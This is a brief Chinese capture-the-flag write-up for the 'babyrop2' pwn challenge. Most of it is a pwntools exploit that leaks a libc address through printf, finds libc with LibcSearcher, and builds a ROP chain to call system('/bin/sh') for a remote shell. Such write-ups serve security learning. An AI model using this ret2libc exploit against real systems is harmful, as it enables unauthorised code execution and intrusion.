0x01 文件分析
0x02 運行
和babyrop一樣。
0x03 IDA
程序流程和babyrop差不多,但是這個裏面沒有提供可用的gadget,需要自己完成rop。
0x04 思路
沒有默認的gadget,需要自己構建,需要利用棧溢出和printf函數泄露libc版本和libc基址,再構建rop。需要注意的是printf函數需要用到的參數,第一個參數需要爲格式化字符串%s。
0x05 exp
from pwn import *
from LibcSearcher import *
context.log_level = 'debug'
#p = process('./babyrop2')
p = remote("node3.buuoj.cn",26835)
elf = ELF('babyrop2')
pop_rdi = 0x0000000000400733
pop_rsi_r15 = 0x0000000000400731
format_str = 0x0000000000400770 #%s所在字符串
ret_addr = 0x0000000000400734
printf_plt = elf.plt['printf']
read_got = elf.got['read']
main_plt = elf.sym['main']
payload = 'a'*0x28+p64(pop_rdi)+p64(format_str)+p64(pop_rsi_r15)+p64(read_got)+p64(0)+p64(printf_plt)+p64(main_plt)
p.recvuntil("name? ")
p.sendline(payload)
read_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc = LibcSearcher('read', read_addr)
libc_base = read_addr - libc.dump('read')
sys_addr = libc_base + libc.dump('system')
bin_sh = libc_base + libc.dump('str_bin_sh')
payload = 'a'*0x28+p64(pop_rdi)+p64(bin_sh)+p64(sys_addr)+p64(0)
p.sendline(payload)
p.interactive()